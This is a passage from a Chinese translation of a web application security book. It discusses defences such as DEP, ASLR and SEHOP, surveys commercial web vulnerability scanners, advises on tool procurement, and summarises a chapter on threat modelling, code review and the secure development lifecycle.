关注新技术的发展，例如Microsoft的数据执行保护（DEP）功能。Microsoft已经实现了DEP来提供对内存崩溃攻击如缓冲区溢出的广泛保护（细节参见http://support.microsoft.com/kb/875352/）。DEP同时具有硬件和软件组件。在兼容的硬件上运行时，DEP自动启动，将内存的特定部分标记为不可执行的，除非这些部分明确地包含可执行代码。表面上，这能预防大部分基于栈的缓冲区溢出攻击。除了硬件实施的DEP之外，Windows XP SP2及更新版本还实现了软件实施的DEP，试图阻止对Windows的异常处理机制的漏洞利用攻击。

其他防御机制如地址空间布局随机化（ASLR）和结构化异常处理覆盖保护（Structured Exception Handling Overwrite Protection，SEHOP）对于特定的攻击类型是有效的防御。更多关于这些防御的信息以及在应用中确定它们是否有意义的方法，请参见本章结尾处的“参考与延伸阅读”小节。Web应用开发人员应该知道这些改进正在出现在64位平台中，并且开始计划尽快进行移植。

自动化Web应用安全扫描程序

如果你是一位IT管理员，任务是管理有许多Web应用的大中型企业的安全，我们就没有必要向你宣扬自动化的巨大好处。多年以来，我们已经评估了几十个Web应用安全扫描工具并且常常被问及“哪个最好？”，进行一次竞赛选出我们最喜欢的工具是有诱惑力的（在本书第2版中我们曾经这么做过），我们已经意识到，这种技术的市场发展比我们的发行周期快，不可避免地使得我们所选择的产品在读者看到时已经陈旧。而且，典型企业的独特需求使这种比较难以在常规的竞赛中进行。最后，常规的竞赛在互联网上经常进行，为读者提供更新的信息（我们在本章结尾处的“参考与延伸阅读”小节中引用了一些最近的研究）。基于这些因素和我们长期的经验，本章将提供关于Web应用扫描领域中领先产品的简短看法，意在为读者指出一条途径，对许多这种工具进行评估，选择最适合他们需求的产品。

注意　这里未介绍的非商业化Web评估工具参见第1章和附录B。

我们最常遇见的Web应用安全扫描程序（不管是在外部咨询还是公司内部安全部门中使用的），按照见到的频率大小排列，包括HP WebInspect、IBM AppScan、Cenzic Hailstorm和NTObjectives NTOSpider。最近，开始出现了进行Web应用安全扫描并提供结果的托管服务。这些服务机构的例子有WhiteHat Security和HP SaaS Application Security Center。我们根据这个简短的列表来评估大企业所用的这类技术。

基础架构安全扫描市场上的一些重要角色已经开始关注Web应用。主要的提供者包括Qualys的Web Module，nCircle的WebApp360，McAfee的Vulnerability Manager和Tenable的Nessus Web服务器插件。尽管这些工具在不断改进，但是它们目前提供的Web功能远远少于前面提到的专用Web应用扫描工具。但是，继续考虑这些产品是明智的，因为它们背后的公司有丰富的资源，而且明显对改进Web应用层的功能有兴趣。

技术评估和采购

初期的应用安全计划面对的问题之一是“构建还是购买？”总体上，我们的建议是“购买”，根据我们的一般经验，长远来看，开发自用的安全应用所花费的精力和金钱是不值得的（甚至在我们曾经工作过的一些大型、成熟的软件开发公司中，这种说法也没有错）。这意味着你必须设计出持续评估新技术的一个过程，确保你的Web安全计划保持正常。

提示　附录B列出多种现成的Web示例应用，可以用于测试安全技术。

我们建议你明确地为这一工作提供人员，定义简明的目标，不要让这个工作成为漫无边际的或者不可靠的项目，确保分配了合适的预算来使用团队所选择的技术。

10.5　小结

本章介绍了Web应用安全的全知识（或称“白盒法”）分析。我们描述了全知识分析的关键组成部分，包括威胁建模、代码评审和安全测试。我们强调了威胁建模的重要性及其对后续安全活动如代码评审和安全测试的影响。最后，我们演示了精明的组织如何将全知识分析的这些组成部分编排为一种Web应用安全开发方法，这种方法被称做安全开发生命期（SDL）。

10.6　参考与延伸阅读

附录A　Web安全检查列表

这个检查列表总结了本书中的许多建议和对策。尽管我们在这里没有重申每个检查列表项目的所有细节，但是我们希望这个列表能作为设计和运营所有Web应用时的参考。

读累了记得休息一会哦~

公众号：古德猫宁李

电子书搜索下载

书单分享

书友学习交流

网站：沉金书屋 https://www.chenjin5.com

电子书搜索下载

电子书打包资源分享

学习资源分享

附录B　Web黑客工具和技术快速参考

在本书中，我们已经讨论了许多用于评估Web应用安全的工具。本附录简单地总结了其中最重要的实用工具，按照本书各个章节介绍的Web入侵方法排列。